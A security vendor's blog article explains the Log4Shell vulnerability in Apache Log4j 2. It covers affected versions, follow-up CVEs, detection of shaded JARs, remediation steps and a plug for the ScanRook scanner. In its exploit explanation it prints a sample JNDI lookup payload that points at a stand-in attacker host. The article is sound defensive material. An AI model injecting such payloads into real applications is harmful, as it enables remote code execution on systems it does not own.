Log4Shell (CVE-2021-44228) Explained: Detection & Remediation
Published June 3, 2026 · 12 min read
In December 2021, a single logging library set the internet on fire. Log4Shell (CVE-2021-44228) was a critical, trivially exploitable remote code execution flaw in Apache Log4j 2 — a library so common that the vulnerability instantly affected a staggering share of all Java applications. This is what it was, how it worked, and how you find and fix it today.
What is Log4j, and why did this matter so much?
Apache Log4j 2 is one of the most widely used logging libraries in the Java ecosystem. It is a dependency of countless frameworks, applications, and enterprise products — usually pulled in indirectly, several layers deep, without anyone consciously choosing it. That ubiquity is exactly what made Log4Shell so dangerous: the vulnerable code was everywhere, and most teams did not even know they were running it.
CVE-2021-44228 received the maximum CVSS base score of 10.0. The combination of remote code execution, network reachability, no authentication, and trivial exploitation put it at the very top of the severity scale — the kind of score that justifies dropping everything.
How the exploit worked
The flaw lived in a feature called message lookups. Log4j allowed special tokens inside log messages to be expanded at log time. One of those lookups used JNDI (the Java Naming and Directory Interface), which can resolve resources from remote servers.
If an attacker could get their input into a logged string — a username, a User-Agent header, a search field, anything — they could inject a payload like:
${jndi:ldap://attacker.example/payload}When Log4j logged that string, it interpreted the lookup, made an outbound LDAP request to the attacker's server, received a reference to a malicious Java class, and loaded and executed it — full remote code execution. The attacker did not need credentials or any special access; they just needed their text to reach a log statement, which on most web applications is trivial.
Affected versions and the follow-up CVEs
Log4Shell affected Log4j 2 from 2.0-beta9 through 2.14.1. The initial fix turned out to be the start of a messy chain of patches:
| CVE | Issue | Fixed in |
|---|---|---|
| CVE-2021-44228 | The original JNDI RCE (Log4Shell), CVSS 10.0 | 2.15.0 |
| CVE-2021-45046 | Incomplete fix in 2.15.0; RCE possible in some configs | 2.16.0 |
| CVE-2021-45105 | Denial of service via recursive lookups | 2.17.0 |
| CVE-2021-44832 | RCE via attacker-controlled JDBC Appender config | 2.17.1 |
The practical takeaway: do not stop at 2.15.0 or 2.16.0. The fully patched release is 2.17.1 (or 2.12.4 for Java 7 and 2.3.2 for Java 6).
How to detect whether you are vulnerable
Detection sounds simple — find every log4j-core JAR and check its version — but it is exactly where most teams got burned. Log4j is rarely a direct dependency. It is bundled inside other JARs, repackaged into shaded “uber-JARs,” and nested one or more archives deep inside a WAR or container layer.
A naive search like find / -name 'log4j-core*.jar' will miss every instance that has been shaded or renamed. You need a scanner that opens nested archives and identifies the library by its actual contents and version, not just by filename. This is the same nested-dependency blind spot we describe in our guide to installed-state scanning, and it is why a good SBOM matters — see what an SBOM is.
How to remediate
- Upgrade (the real fix). Move every
log4j-coreto 2.17.1 or later, including the copies hidden inside bundled dependencies. Update your own dependency declarations and rebuild any artifact that ships Log4j. - Mitigate if you truly cannot upgrade. Remove the
JndiLookupclass from the classpath:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
This is more reliable than configuration flags, but it is a stopgap, not a substitute for upgrading. - Re-scan after patching. Confirm there are no remaining vulnerable copies. The most common failure mode was patching the obvious JAR and missing a shaded one.
The lasting lessons of Log4Shell
Log4Shell was not just a Log4j problem — it was a software-supply-chain wake-up call. It showed that organizations did not know what was inside their own software, that transitive dependencies are a real attack surface, and that “we do not use Log4j” is meaningless when a dozen of your dependencies do.
The durable defenses are the boring ones: maintain an accurate inventory of your dependencies (an SBOM), scan continuously so a newly disclosed CVE in a component you already ship surfaces immediately, and be able to answer “where do we run X?” in minutes rather than weeks. Log4Shell remains in the CISA KEV catalog precisely because so many systems still have not finished that work.
Frequently asked questions
Why was Log4Shell rated CVSS 10.0?
It combined the worst of every dimension: remote, network-reachable, no authentication, low complexity, and full remote code execution. There was no mitigating factor to bring the score down.
Is Log4j 1.x affected?
Log4j 1.x does not have the specific JNDI message-lookup feature behind CVE-2021-44228, but it is end-of-life and carries its own unpatched vulnerabilities. Migrate off it regardless.
Does upgrading to 2.15.0 fix it?
Not fully. 2.15.0 addressed the original CVE but was found vulnerable under some configurations (CVE-2021-45046), and later DoS and RCE issues followed. Go to 2.17.1 or later.
How do I find Log4j hidden in nested JARs?
Use a scanner that recursively unpacks archives and identifies libraries by content, not filename. ScanRook unpacks nested and shaded JARs inside container images and source archives so bundled Log4j copies do not slip through.
Hunt down Log4j and the next Log4Shell with ScanRook
ScanRook recursively unpacks nested and shaded JARs inside container images, binaries, and source archives, then matches every library against OSV, NVD, and vendor advisory data. Upload an artifact to find vulnerable Log4j copies — including the ones buried in dependencies.